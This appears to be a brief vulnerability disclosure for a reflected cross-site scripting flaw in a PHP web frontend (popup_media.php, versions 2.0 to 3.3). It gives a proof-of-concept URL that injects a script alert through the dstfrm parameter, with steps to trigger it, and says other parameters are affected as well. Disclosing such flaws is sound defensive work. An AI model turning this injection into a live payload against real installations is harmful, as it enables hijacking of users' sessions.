How to reproduce:
http://localhost/2.0/frontends/php/popup_media.php?dstfrm=userForm"%2Balert(12345)%2B"

Enter any value in "Send to", then submit.

Affected versions: [2.0 - 3.3]

Same vulnerability also exists in other parameters as well.